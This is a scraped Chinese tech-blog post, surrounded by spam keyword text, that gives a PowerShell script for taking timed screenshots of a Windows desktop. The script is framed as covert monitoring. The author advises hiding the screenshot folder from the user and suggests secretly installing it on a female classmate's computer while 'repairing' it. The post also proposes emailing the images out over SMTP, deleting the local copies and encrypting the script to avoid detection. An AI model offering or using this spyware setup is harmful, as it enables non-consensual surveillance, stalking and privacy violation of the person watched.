婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PowerShell小技巧之定時抓取屏幕圖像

PowerShell小技巧之定時抓取屏幕圖像

熱門標簽:六寸地圖標注點怎么刪除 莫拉克電梯系統外呼怎么設置 新鄭電銷機器人一個月多少錢 萬全縣地圖標注app 如何根據經緯度百度地圖標注 騰訊地圖標注中心怎么標注 印臺區呼叫中心外呼系統 地圖標注的圖案 電話機器人公司招聘

昨天的博文寫了定時記錄操作系統行為,其實說白了就是抓取了擊鍵的記錄和對應窗口的標題欄,而很多應用程序標題欄又包含當時記錄的文件路徑和文件名,用這種方式可以大致記錄操作了哪些程序,打開了哪些文件,以及敲擊了哪些按鍵。事實上這樣記錄操作系統的行為顯得相對單薄一點,因為記錄的內容不太形象,對于新手來說太過于隱晦了,對于人類來說,圖像會比文字更加有利于用戶理解。當操作系統不方便裝屏幕記錄軟件,但又需要看已經登錄用戶在干什么的時候,用PowerShell的腳本來實現定時抓取圖像的方式記錄操作,查看圖像就知道登陸用戶做了什么,當然你存放圖片的目錄要隱蔽,不要讓用戶發現了為好。

     當然對于在學校計算機系的屌絲們,這個功能也可以用來了解自己的女神有什么喜好了。什么?咋把腳本安裝到女神的電腦里?咋把抓的圖片返回給你?拜托,這么簡單的問題,還需要我幫你找答案么?女神的電腦壞了,通常都會找一個熟悉電腦軟硬件的計算機系的童鞋來修的,修的時候悄悄動點手腳。圖片返回的問題呢,完全可以定時抓取,然后抓取一定數量之后打包發到指定郵箱,然后刪除本地圖片嘛。什么?不知道PowerShell咋發郵件…你妹的,用System.Net.Mail.MailMessage組件調用SMTP發送郵件你不會?我以前寫過類似文章的…好吧,送佛送到西,自己去看吧《使用PowerShell通過Smtp發送郵件》。還有就是寫的腳本務必要加密,至于加密方式方法嘛,改天吧,改天專門寫一篇文章寫關于PowerShell腳本加密,這種事情嘛,如果被女神發現鳥,那可是吃不了兜著走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,自己把握好度,如果警察蜀黍請你去喝茶了可就不好玩了。本故事純屬虛構,如有雷同純屬巧合,本人只提供創意,如果具體實施被女神打破頭,或者被警察蜀黍請去喝茶了,本人概不負任何法律責任哈。嘿嘿,不多扯了,先上今天的定時抓取屏幕圖像的方法。
    
     其實方法不復雜,寫了一個抓取屏幕的函數,定時執行,將抓取的圖片存入指定位置,如果達到終止的時間,結束執行.代碼不復雜,有看不懂的兄弟可以留言,我幫你解答。

接下來上代碼:

復制代碼 代碼如下:

 =====文件名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
    Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
    Specifies the folder path.
.PARAMETER Interval
    Specifies the interval in seconds between taking screenshots.
.Parameter EndTime
    Specifies when the script should stop running in the format HH-MM
.Example
    Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
#>

    [CmdletBinding()] Param(
        [Parameter(Mandatory=$True)]
        [ValidateScript({Test-Path -Path $_ })]
        [String] $Path,

        [Parameter(Mandatory=$True)]
        [Int32] $Interval,

        [Parameter(Mandatory=$True)]
        [String] $EndTime
    )

    #Define helper function that generates and saves screenshot
    Function Get-Screenshot {
       $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
       $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
       $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
       $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
       $DrawingGraphics.Dispose()
       $ScreenshotObject.Save($FilePath)
       $ScreenshotObject.Dispose()
    }
    Try {

        #load required assembly
        Add-Type -Assembly System.Windows.Forms           

        Do {
            #get the current time and build the filename from it
            $Time = (Get-Date)

            [String] $FileName = "$($Time.Month)"
            $FileName += '-'
            $FileName += "$($Time.Day)"
            $FileName += '-'
            $FileName += "$($Time.Year)"
            $FileName += '-'
            $FileName += "$($Time.Hour)"
            $FileName += '-'
            $FileName += "$($Time.Minute)"
            $FileName += '-'
            $FileName += "$($Time.Second)"
            $FileName += '.png'

            #use join-path to add path to filename
            [String] $FilePath = (Join-Path $Path $FileName)

            #run screenshot function
            Get-Screenshot

            Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"

            Start-Sleep -Seconds $Interval
        }

        #note that this will run once regardless if the specified time as passed
        While ((Get-Date -Format HH:mm) -lt $EndTime)
    }

    Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

執行方式,如下圖所示:

執行效果,會在指定的目錄,按照時間間隔生成桌面抓圖,類似如下圖所示.

哥,只能幫你到這了!兄弟們好自為之吧!

您可能感興趣的文章:
  • PowerShell小技巧之使用New-Module命令動態創建對象
  • Powershell小技巧之編輯Hosts文件
  • Powershell小技巧之獲取對象可變的特征
  • PowerShell小技巧之實現文件下載(類wget)
  • PowerShell小技巧之執行SOAP請求
  • Powershell小技巧之創建一個新對象

標簽:湘潭 天水 臨汾 喀什 南昌 汕頭 疫苗接種 襄陽

巨人網絡通訊聲明:本文標題《PowerShell小技巧之定時抓取屏幕圖像》,本文關鍵詞  PowerShell,小,技巧,之,定時,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PowerShell小技巧之定時抓取屏幕圖像》相關的同類信息!
  • 本頁收集關于PowerShell小技巧之定時抓取屏幕圖像的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 稻城县| 和田县| 房产| 大姚县| 五寨县| 苏尼特左旗| 崇左市| 普格县| 定远县| 雅江县| 拜泉县| 汝阳县| 西乌珠穆沁旗| 固原市| 常熟市| 浙江省| 阿克陶县| 潮州市| 大丰市| 磐安县| 岫岩| 抚宁县| 翁牛特旗| 浦江县| 克拉玛依市| 佛教| 鞍山市| 房产| 广丰县| 仙游县| 涞水县| 滨海县| 丰都县| 秦安县| 富蕴县| 诏安县| 鄄城县| 济源市| 东辽县| 宣威市| 确山县|